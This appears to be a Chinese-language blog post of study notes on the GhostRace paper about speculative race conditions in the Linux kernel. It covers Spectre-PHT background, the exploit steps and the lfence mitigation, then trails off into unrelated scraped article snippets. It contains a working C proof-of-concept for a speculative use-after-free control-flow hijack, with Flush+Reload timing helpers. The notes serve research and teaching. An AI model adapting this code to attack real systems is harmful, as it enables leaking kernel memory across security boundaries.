GhostRace: Exploiting and Mitigating Speculative Race Conditions-记录
文章目录
- 论文
- 背景
- Spectre-PHT(Transient Execution )
- Concurrency Bugs
- SRC/SCUAF和实验条件
- 流程
- Creating an Unbounded UAF Window
- Crafting Speculative Race Conditions
- Exploiting Speculative Race Conditions
- poc
- 修复
- flush and reload
论文
https://www.usenix.org/system/files/usenixsecurity24-ragab.pdf
背景
Spectre-PHT(Transient Execution )
现代 CPU 为提高性能,会对指令进行推测执行(就是CPU会先把可能的判断结果执行)
推测执行可能有两种结果:
a) 指令被正常提交
b) 指令因预测错误被回滚(squashed),产生Transient Execution,但相关缓存被保留
if (x < array1_size) {y = array2[array1[x] * 0x1000];
}
- x可控,多次x < array1_size后会认为可能依然是x < array1_size,然后执行if里的语句
- 如果x越界,但依然认为是x < array1_size,然后执行if里的语句。此时会把array1[x]越界访问的内容放入缓存,再通过array2[array1[x] * 0x1000]访问对应的位置
- 通过测信道可以探测出如果访问array2某个位置快一些,那么这个位置有可能就是array1[x]越界访问的内容,即泄露内容
Concurrency Bugs

SRC/SCUAF和实验条件
SRC:就是两个线程同时访问一个内存位置,一个是写操作,另一个是瞬时访问,此时瞬时访问能够绕过互斥锁。从而产生Speculative Concurrent Use-After-Free(SCUAF)和Concurrency Bugs类似
所有保护均开启, Linux kernel running on Intel x86-64.然后普通用户通过系统调用引发SRC来泄露数据
流程

nfc_hci_msg_tx_work该函数是Linux内核中近场通信(NFC)驱动核心的主机控制器接口(Host Controller Interface, HCI)层实现的一部分,负责处理内核发送到NFC设备的待处理消息。由于我们没有所需的NFC硬件来原生执行此函数,因此我们在分析过程中添加了一个系统调用以达到这一代码路径。

Creating an Unbounded UAF Window

目的:在free和设置NULL之间创建一个时间较大的窗口间隙
计时器到期会引发中断
首先通过设置定时器引起中断,在kfree时引起中断,但由于上锁,所以会等到已解锁就进入定时器的中断处理函数中,可以增加中断处理函数延长时间,这段时间通过其他核心发动系统调用使得向受害者核心发送中断,然后它陷入无限中断
Crafting Speculative Race Conditions

锁宏观上没问题,微观上可能有问题
第四行分支最终检查lock cmpxchgq指令的结果,该指令自动比较互斥锁ptr的当前值和旧值old,如果相同,则意味着互斥锁可以被锁定——将互斥锁设置为新值new,并授予对受保护临界区域的访问权,否则不行
我们可以多次获取互斥锁然后推测执行中获取互斥锁并进入受保护的临界区域。
其他常见同步写原语很多通过条件分支实现的,所以都很容易收到推测竞争条件的影响
实验得到不同架构不同核心和线程安排的瞬态执行时可以执行的指令数量

当两个线程跨核心运行时,窗口通常更大,这表明在推测终止之前,缓存一致性协议在跨内核传播锁体系结构状态方面起着至关重要的作用。(我的理解是前一个执行上锁后,另一个开始推测执行,原执行流检查上锁时候得到已经上锁的信息较慢,导致此时推测执行已经执行多条了)
Exploiting Speculative Race Conditions

- 分配hdev和hdev->cmd_pending_msg
- 误导mutex的条件分支
- 启动victim线程和风暴线程:设置定时器,并启动目标函数
- free后进入定时器中断处理函数,此时窗口增大,运行别的函数
- 此时在窗口内创建msgbuf来对应hci_msg
- 通过msgsnd申请到hdev->cmd_pending_msg一样大小的project,拿到刚刚释放的,设置好cb和cb_context
- nfc_hci_msg_tx_work出发瞬态推测执行劫持控制流
poc
#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>#include "fr.h"//
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));
//为了准确测量不同位置的访问时间差异,确保每个缓存行位于单独的页面上是非常重要的。这样可以避免由于跨页引起的额外延迟干扰测量结果。
volatile int r __cacheline_aligned;
//
pthread_mutex_t lock;/* 与小工具相关的代码/数据。 */
void my_callback()
{
}void evil_callback()
{// 访问4096,其所在的起始页长放入缓存中maccess(&fr_buff[4096]);
}typedef void (*cb_t)();
typedef struct data_s
{cb_t callback;
} data_t;
data_t *data_ptr;/* 辅助函数。 */
void train_lock()
{int i;for (i = 0; i < 10; i++){pthread_mutex_lock(&lock);pthread_mutex_unlock(&lock);}
}void init()
{//数组初始化赋值才访问对应元素,不然直接访问未初始化会出现莫名其妙问题。所以按照正常流程先初始化再访问 !!!!memset(fr_buff, 'x', FR_BUFF_SIZE);//初始化后需要清空其所在的缓存// int i=4096*2;// printf("i %lu buff %lu\n",i,probe_timing(&fr_buff[i]));flush(&fr_buff[0]);flush(&fr_buff[4096]);// int i=4096*2-10;// printf("i %lu buff %lu\n",i,probe_timing(&fr_buff[i]));// 初始化锁 int r;r = pthread_mutex_init(&lock, NULL);// 初始化结构体data_ptr = malloc(sizeof(data_t));data_ptr->callback = my_callback;}int main()
{init();// 线程1:训练 pthread_mutex_lock(&lock)和pthread_mutex_unlock中的代码总是成功train_lock();// 线程1:获取锁,释放结构体pthread_mutex_lock(&lock);free(data_ptr);// 线程2:线程1在free()之后但在状态更新和锁释放之前被中断。然后,线程2重用内存以控制未来的悬挂指针引用(并劫持控制流到恶意回调)。 data_t *p = malloc(sizeof(data_t));p->callback = evil_callback;// 线程2:推测执行绕过上锁,并调用回调函数,这只会执行一个UAF(即,推测性控制流劫持r = pthread_mutex_trylock(&lock);//如果是pthread_mutex_lock(&lock);那么预测执行会回滚到pthread_mutex_lock(&lock);那么将陷入死循环if (r == 0){data_ptr->callback();// pthread_mutex_unlock(&lock); 推测执行的指令数量根本不满足执行完pthread_mutex_unlock}// 线程1:恢复执行并更新NULLdata_ptr = NULL;pthread_mutex_unlock(&lock);// 线程2:通过F+R测信道知道访问内存的时间较短的位置为推测执行中访问的位置unsigned long t1 = probe_timing(&fr_buff[0]);unsigned long t2 = probe_timing(&fr_buff[4096]);if (t2 < t1){printf("得到信号 (%lu < %lu): 内存重用、推测性UAF以及推测性控制流劫持成功触发。\n", t2, t1);}else{printf("意外的时间:%lu << %lu\n", t1, t2);}return 0;
}
头文件
#ifndef FR_H
#define FR_H// 定义 likely 宏,用于优化条件分支预测。
#define likely(expr) __builtin_expect(!!(expr), 1)// 定义缓存行对齐属性宏,确保变量按照64字节边界对齐,并放置在特定的数据段中。
#define __cacheline_aligned \__attribute__((__aligned__(64), \__section__(".data..cacheline_aligned")))// 探测访问给定地址所需的时间。该函数使用汇编指令来测量读取一个内存位置前后的时钟周期数。
static inline unsigned long probe_timing(char *adrs) {volatile unsigned long time;asm __volatile__(" mfence \n" // 确保所有之前的存储操作已完成。" lfence \n" // 确保所有之前加载操作已完成。" rdtsc \n" // 读取时间戳计数器。" lfence \n" // 确保此指令前的所有加载都已完成。" movl %%eax, %%esi \n" // 将低32位时间戳保存到 ESI 寄存器。" movl (%1), %%eax \n" // 从内存位置加载数据(触发缓存行为)。" lfence \n" // 确保此指令前的所有加载都已完成。" rdtsc \n" // 再次读取时间戳计数器。" subl %%esi, %%eax \n" // 计算两次读取之间的时间差。" clflush 0(%1) \n" // 清除指定内存位置的缓存行。: "=a" (time) // 输出参数:EAX 寄存器值赋给 'time'。: "c" (adrs) // 输入参数:'adrs' 的值通过 ECX 寄存器传递。: "%esi", "%edx" // 被修改的寄存器列表。);return time;
}// 返回当前CPU的时钟周期数。rdtsc 指令读取时间戳计数器,它记录了自系统启动以来的时钟周期数。
static inline unsigned long long rdtsc() {unsigned long long a, d;asm volatile ("mfence"); // 确保所有之前的存储操作已完成。asm volatile ("rdtsc" : "=a" (a), "=d" (d)); // 读取时间戳计数器,分别放入 a 和 d。a = (d<<32) | a; // 组合 EDX:EAX 成一个64位时间戳。asm volatile ("mfence"); // 确保所有之前的存储操作已完成。return a;
}// maccess 宏定义用于触发电平1缓存未命中,模拟内存访问。
#define maccess(p) \asm volatile ("movq (%0), %%rax\n" \: \: "c" (p) \: "rax")// flush 宏定义用于清除指定内存位置的缓存行。
#define flush(p) \asm volatile ("clflush 0(%0)\n" \: \: "c" (p) \: "rax")#endif

修复
-
序列化指令(lfence):
lfence是一种序列化指令,主要用于控制指令流的顺序。它会确保在它之前的所有操作完成后才会执行后续的指令。- 通过在
cmpxchg之后插入lfence,可以确保在锁定操作完成后,任何后续的操作不会被提前执行。这样就阻止了处理器在锁定机制确认之前,对关键区代码的任何投机执行。
-
实现细节:
- 在 Linux 内核的
arch/x86/include/asm/cmpxchg.h文件中进行了修改。 - 具体地,在
__raw_cmpxchg和__raw_try_cmpxchg汇编宏中加入了lfence指令。 - 这些宏用于实现所有的写侧同步原语,通过这种方式,确保所有相关的同步操作都受到保护。
- 在 Linux 内核的
但内核性能下降5%
flush and reload
22.5 Flush and Reload
flush+reload学习笔记
缓存会加载4096个字节,也就是一个页到缓存中
clflush会清理缓存行,也是4096个字节,也就是一个页
相关文章:
GhostRace: Exploiting and Mitigating Speculative Race Conditions-记录
文章目录 论文背景Spectre-PHT(Transient Execution )Concurrency BugsSRC/SCUAF和实验条件 流程Creating an Unbounded UAF WindowCrafting Speculative Race ConditionsExploiting Speculative Race Conditions poc修复flush and reload 论文 https:/…...
OPPO 数据分析面试题及参考答案
如何设计共享单车数据库的各个字段? 对于共享单车的数据库设计,首先考虑用户相关的字段。用户表可以包含用户 ID,这是一个唯一标识符,用于区分不同用户;姓名,记录用户的真实姓名;联系方式,比如手机号码,方便在出现问题时联系用户;注册时间,记录用户何时开始使用共享…...
腾讯云云开发 Copilot 深度探索与实战分享
个人主页:♡喜欢做梦 欢迎 👍点赞 ➕关注 ❤️收藏 💬评论 目录 一、引言 二、产品介绍 三、产品体验过程 四、整体总结 五、给开发者的复用建议 六、对 AI 辅助开发的前景展望 一、引言 在当今数字化转型加速的时代,…...
Mac M1使用pip3安装报错
1. Mac系统使用pip3安装组件的时候报”外部管理环境”错误: error: externally-managed-environment 2.解决办法 去掉这个提示 1、先查看当前python版本: python3 --version 2、查找EXTERNALLY-MANAGED 文件的位置(根据自己当前使用的pytho…...
flask-admin的modelview 实现list列表视图中扩展修改状态按钮
背景: 在flask-admin的模型视图(modelview 及其子类)中如果不想重构UI视图,那么就不可避免的出现默认视图无法很好满足需求的情况,如默认视图中只有“新增”,“编辑”,“选中的”三个按钮。 材…...
算法训练第二十三天|93. 复原 IP 地址 78. 子集 90. 子集 II
93. 复原 IP 地址--分割 题目 有效 IP 地址 正好由四个整数(每个整数位于 0 到 255 之间组成,且不能含有前导 0),整数之间用 . 分隔。 例如:"0.1.2.201" 和 "192.168.1.1" 是 有效 IP 地址&…...
imu相机EKF
ethzasl_sensor_fusion/Tutorials/Introductory Tutorial for Multi-Sensor Fusion Framework - ROS Wiki https://github.com/ethz-asl/ethzasl_msf/wiki...
【杂谈】虚拟机与EasyConnect运行巧设:Reqable助力指定应用流量专属化
场景 公司用的是EasyConnect,这个软件非常好用,也非常稳定,但是有个缺点,就是会无条件拦截本机所有流量,而且会加入所有运行的exe程序,实现流量全部走代理。 准备材料 一个windows/Linux 桌面版虚拟机Ea…...
【AI系列】Paddle Speech安装指南
文章目录 环境依赖1. 安装Python1.1 下载Python安装包1.2 安装gcc1.3 安装依赖库1.4 编译和安装Python1.5 配置环境变量 2. 安装PaddlePaddle3. 安装PaddleSpeech4. 运行PaddleSpeech5. 解决常见问题5.1 错误:libssl.so.1.1解决方法: 5.2 错误࿱…...
【AI学习】OpenAI推出o3,向AGI迈出关键一步
2024年12月21日,OpenAI在其为期12天发布会活动的最后一天,正式发布了备受期待的o3系列模型,包括o3和o3-mini。 o3 是一个非常强大的模型,在编码、数学以及 ARC-AGI 基准测试等多个基准上超过了 OpenAI 此前的 o1 模型(…...
深度学习0-前置知识
一、背景 AI最大,它的目的是通过让机器模仿人类进而超越人类; ML次之,它是AI的一个分支,是让机器模仿人类的一种方法。开发人员用大量数据和算法“训练”机器,让机器自行学会如何执行任务,它的成功取决于…...
Elasticsearch-分词器详解
什么是分词器 1、分词器介绍 对文本进行分析处理的一种手段,基本处理逻辑为按照预先制定的分词规则,把原始文档分割成若干更小粒度的词项,粒度大小取决于分词器规则。 常用的中文分词器有ik按照切词的粒度粗细又分为:ik_max_word和ik_smart&…...
Android-相对布局RelativeLayout
相对布局在摆放子视图位置时,按照指定的参考系来摆放子视图的位置,默认以屏幕左上角(0,0)位置作为参考系摆放位置 了解一下接下来都会以代码的方式可视化出来 属性 可选值 说明 layout_alignParentTop true/false 是否让控件相对于父容器顶部对齐 …...
Centos7, 使用yum工具,出现 Could not resolve host: mirrorlist.centos.org
在 CentOS 7 中使用 yum 工具时,如果出现 "Could not resolve host: mirrorlist.centos.org" 的错误,通常是因为默认的镜像源无法访问。以下是一些常用的解决方法: 检查网络连接:首先使用 ping 命令测试网络连接是否正常…...
在Linux中使用`scp`进行远程目录文件复制
在Linux系统中,scp(安全复制协议)是一个使用SSH(安全外壳协议)进行文件和目录安全传输的命令。它允许在远程主机之间复制文件和目录,具有很强的安全性,是一种常用的文件传输工具。以下是如何使用…...
VisionPro 机器视觉案例 之 连接件测量
第十八篇 机器视觉案例 之 连接件测量 文章目录 第十八篇 机器视觉案例 之 连接件测量1.案例要求2.实现思路2.1 测量圆心到直线的距离2.2 测量圆心到直线起点的连线和直线的夹角 3.使用控件3.1 模板匹配工具 —— CogPMAlignTool3.2 定位工具 —— CogFixtureTool3.3 卡尺工具 …...
C++ 中面向对象编程中对象的状态存储与恢复的处理
1.对象存储 1)栈存储: 对于局部对象,它们存储在栈上。当进入包含对象定义的代码块时,对象被创建并压入栈中。 例如: class fun { public: int a; }; void func() { fun A; // 对象存储在栈上,随着函数结束自动销毁…...
ip_output函数
ip_output函数是Linux内核(特别是网络子系统)中用于发送IPv4数据包的核心函数。以下是一个示例实现,并附上详细的中文讲解: int ip_output(struct net *net, struct sock *sk, struct sk_buff *skb) {struct iphdr *iph; /* 构建IP头部 */iph = ip_hdr(skb);/* 设置服务…...
【win10+RAGFlow+Ollama】搭建本地大模型助手(教程+源码)
一、RAGFlow简介 RAGFlow是一个基于对文档深入理解的开源RAG(Retrieval-augmented Generation,检索增强生成)引擎。 主要作用: 让用户创建自有知识库,根据设定的参数对知识库中的文件进行切块处理,用户向大…...
现代风格VUE3易支付用户控制中心
适用系统 彩虹易支付 技术栈 vitevue3elementuiplusphp 亮点 独立前端代码,扩展开发,不改动系统文件,不影响原版升级 支持功能订制 界面预览...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
CentOS下的分布式内存计算Spark环境部署
一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架,相比 MapReduce 具有以下核心优势: 内存计算:数据可常驻内存,迭代计算性能提升 10-100 倍(文档段落:3-79…...
DBAPI如何优雅的获取单条数据
API如何优雅的获取单条数据 案例一 对于查询类API,查询的是单条数据,比如根据主键ID查询用户信息,sql如下: select id, name, age from user where id #{id}API默认返回的数据格式是多条的,如下: {&qu…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
初学 pytest 记录
安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
mac:大模型系列测试
0 MAC 前几天经过学生优惠以及国补17K入手了mac studio,然后这两天亲自测试其模型行运用能力如何,是否支持微调、推理速度等能力。下面进入正文。 1 mac 与 unsloth 按照下面的进行安装以及测试,是可以跑通文章里面的代码。训练速度也是很快的。 注意…...
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
iOS 应用的发布流程一直是开发链路中最“苹果味”的环节:强依赖 Xcode、必须使用 macOS、各种证书和描述文件配置……对很多跨平台开发者来说,这一套流程并不友好。 特别是当你的项目主要在 Windows 或 Linux 下开发(例如 Flutter、React Na…...
对象回调初步研究
_OBJECT_TYPE结构分析 在介绍什么是对象回调前,首先要熟悉下结构 以我们上篇线程回调介绍过的导出的PsProcessType 结构为例,用_OBJECT_TYPE这个结构来解析它,0x80处就是今天要介绍的回调链表,但是先不着急,先把目光…...
